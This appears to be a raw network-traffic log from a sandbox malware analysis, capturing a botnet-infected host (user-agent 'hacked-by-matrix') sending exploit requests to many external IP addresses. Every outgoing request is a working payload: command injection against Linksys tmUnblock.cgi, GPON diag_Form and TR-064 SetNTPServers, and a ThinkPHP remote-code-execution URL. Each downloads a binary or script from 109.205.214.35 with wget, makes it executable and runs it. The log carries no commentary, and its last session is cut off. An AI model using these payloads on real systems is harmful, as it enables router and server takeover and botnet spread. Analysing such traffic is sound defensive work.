Mar 21, 2024 05:18:05.287038088 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.13	48176	172.67.183.250	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.707290888 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.13	47274	172.64.195.50	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.710956097 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.13	34774	98.158.46.241	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.757999897 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:05.922574043 CET	331	IN	HTTP/1.1 408 Request Timeout Content-Type: text/html; charset=utf-8 Content-Length: 118 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>408 Request Timeout</title></head><body><center><h1>408 Request Timeout</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.13	46030	95.101.168.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.794118881 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.13	37026	172.67.228.54	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.795762062 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.13	59880	112.175.85.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.295207977 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:06.587662935 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:06 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.13	55074	88.99.108.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.761881113 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:07.731916904 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:07.907296896 CET	913	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:18:07 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.13	59892	109.87.138.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.778244019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.13	59136	42.29.116.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.778268099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.13	46182	172.64.17.195	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.784867048 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.13	59698	172.65.130.16	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.817984104 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.13	47714	112.34.111.72	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.973623991 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:07.353785992 CET	28	IN	HTTP/1.1 400 Bad Request
Mar 21, 2024 05:18:07.593359947 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.13	58786	136.35.111.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.083375931 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:07.220844984 CET	85	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.13	34778	70.119.144.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.101387024 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.13	58792	136.35.111.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.221076012 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:07.338310003 CET	85	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.13	34784	70.119.144.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.243041039 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.13	51700	112.15.5.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.788975000 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:10.007040977 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.13	34240	172.67.72.42	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.063183069 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.13	44926	172.66.147.215	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.150547981 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:08.428642988 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.13	55072	172.76.70.28	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.150865078 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:09.140410900 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.13	34802	70.119.144.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.406366110 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.13	52334	72.225.216.202	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.516253948 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.13	34806	70.119.144.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.551698923 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.13	52340	72.225.216.202	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.642002106 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.13	43592	86.150.238.126	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.698204994 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.13	43596	86.150.238.126	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.910866022 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.13	51952	42.75.180.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.797841072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.13	54246	2.224.178.121	443

Timestamp	Bytes transferred	Direction	Data
